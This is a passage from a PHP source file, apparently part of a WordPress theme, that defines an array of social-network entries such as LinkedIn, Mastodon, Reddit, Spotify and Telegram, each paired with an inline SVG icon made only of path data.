			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.5002,0 C4.7006,0 0,4.70109753 0,10.4998496 C0,16.2989526 4.7006,21 10.5002,21 C16.299,21 21,16.2989526 21,10.4998496 C21,4.70109753 16.299,0 10.5002,0 Z M14.69735,14.7204413 C13.3164,14.7151781 12.4346,14.0870017 11.83445,12.6859357 L11.6816001,12.3451305 L10.35405,9.31011397 C9.92709997,8.26875064 8.85260001,7.57120012 7.68010001,7.57120012 C6.06945001,7.57120012 4.75925001,8.88509738 4.75925001,10.5009524 C4.75925001,12.1164565 6.06945001,13.4303036 7.68010001,13.4303036 C8.77200001,13.4303036 9.76514999,12.827541 10.2719501,11.8567047 C10.2893,11.8235214 10.3239,11.8019673 10.36305,11.8038219 C10.4007,11.8053759 10.43535,11.8287847 10.4504,11.8631709 L10.98655,13.1045863 C11.0016,13.1389726 10.9956,13.17782 10.97225,13.2068931 C10.1605001,14.1995341 8.96020001,14.7683115 7.68010001,14.7683115 C5.33305,14.7683115 3.42340001,12.8535563 3.42340001,10.5009524 C3.42340001,8.14679459 5.33300001,6.23203946 7.68010001,6.23203946 C9.45720002,6.23203946 10.8909,7.19074535 11.6138,8.86359341 C11.6205501,8.88018505 12.3412,10.5707777 12.97445,12.0190621 C13.34865,12.8739575 13.64615,13.3959676 14.6288,13.4291508 C15.5663001,13.4612814 16.25375,12.9121534 16.25375,12.1484869 C16.25375,11.4691321 15.8320501,11.3003585 14.8803,10.98216 C13.2365,10.4397989 12.34495,9.88605929 12.34495,8.51817658 C12.34495,7.1809207 13.26665,6.31615054 14.692,6.31615054 C15.62875,6.31615054 16.3155,6.7286858 16.79215,7.5768142 C16.80495,7.60062396 16.8079001,7.62814302 16.8004001,7.65420843 C16.7929,7.68027384 16.7748,7.70212868 16.7507001,7.713808 L15.86145,8.16900031 C15.8178001,8.19200805 15.7643,8.17807308 15.73565,8.13847371 C15.43295,7.71345711 15.0956,7.52513451 14.6423,7.52513451 C14.05125,7.52513451 13.6220001,7.92899802 13.6220001,8.48649708 C13.6220001,9.17382194 14.1529001,9.34144259 15.0339,9.61923972 C15.14915,9.65578139 15.26955,9.69397731 15.39385,9.73432853 C16.7763,10.1865133 17.57675,10.7311301 17.57675,12.1836251 C17.57685,13.629654 16.3389,14.7204413 14.69735,14.7204413 Z"></path></svg>',
		),
		'linkedin'      => array(
			'name' => 'LinkedIn',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg>',
		),
		'mail'          => array(
			'name' => 'Mail',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19,5H5c-1.1,0-2,.9-2,2v10c0,1.1.9,2,2,2h14c1.1,0,2-.9,2-2V7c0-1.1-.9-2-2-2zm.5,12c0,.3-.2.5-.5.5H5c-.3,0-.5-.2-.5-.5V9.8l7.5,5.6,7.5-5.6V17zm0-9.1L12,13.6,4.5,7.9V7c0-.3.2-.5.5-.5h14c.3,0,.5.2.5.5v.9z"></path></svg>',
		),
		'mastodon'      => array(
			'name' => 'Mastodon',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"/></svg>',
		),
		'meetup'        => array(
			'name' => 'Meetup',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"></path></svg>',
		),
		'medium'        => array(
			'name' => 'Medium',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20.962,7.257l-5.457,8.867l-3.923-6.375l3.126-5.08c0.112-0.182,0.319-0.286,0.527-0.286c0.05,0,0.1,0.008,0.149,0.02 c0.039,0.01,0.078,0.023,0.114,0.041l5.43,2.715l0.006,0.003c0.004,0.002,0.007,0.006,0.011,0.008 C20.971,7.191,20.98,7.227,20.962,7.257z M9.86,8.592v5.783l5.14,2.57L9.86,8.592z M15.772,17.331l4.231,2.115 C20.554,19.721,21,19.529,21,19.016V8.835L15.772,17.331z M8.968,7.178L3.665,4.527C3.569,4.479,3.478,4.456,3.395,4.456 C3.163,4.456,3,4.636,3,4.938v11.45c0,0.306,0.224,0.669,0.498,0.806l4.671,2.335c0.12,0.06,0.234,0.088,0.337,0.088 c0.29,0,0.494-0.225,0.494-0.602V7.231C9,7.208,8.988,7.188,8.968,7.178z"></path></svg>',
		),
		'patreon'       => array(
			'name' => 'Patreon',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20 8.40755C19.9969 6.10922 18.2543 4.22555 16.2097 3.54588C13.6708 2.70188 10.3222 2.82421 7.89775 3.99921C4.95932 5.42355 4.03626 8.54355 4.00186 11.6552C3.97363 14.2136 4.2222 20.9517 7.92225 20.9997C10.6715 21.0356 11.0809 17.3967 12.3529 15.6442C13.258 14.3974 14.4233 14.0452 15.8578 13.6806C18.3233 13.0537 20.0036 11.0551 20 8.40755Z" /></svg>',
		),
		'pinterest'     => array(
			'name' => 'Pinterest',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"></path></svg>',
		),
		'pocket'        => array(
			'name' => 'Pocket',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"></path></svg>',
		),
		'reddit'        => array(
			'name' => 'Reddit',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z"></path></svg>',
		),
		'share'         => array(
			'name' => 'Share Icon',
			'icon' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z"/></svg>',
		),
		'skype'         => array(
			'name' => 'Skype',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"></path></svg>',
		),
		'snapchat'      => array(
			'name' => 'Snapchat',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"></path></svg>',
		),
		'soundcloud'    => array(
			'name' => 'Soundcloud',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"></path></svg>',
		),
		'spotify'       => array(
			'name' => 'Spotify',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"></path></svg>',
		),
		'telegram'      => array(
			'name' => 'Telegram',
			'icon' => '<svg width="24" height="24" viewBox="0 0 128 128" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 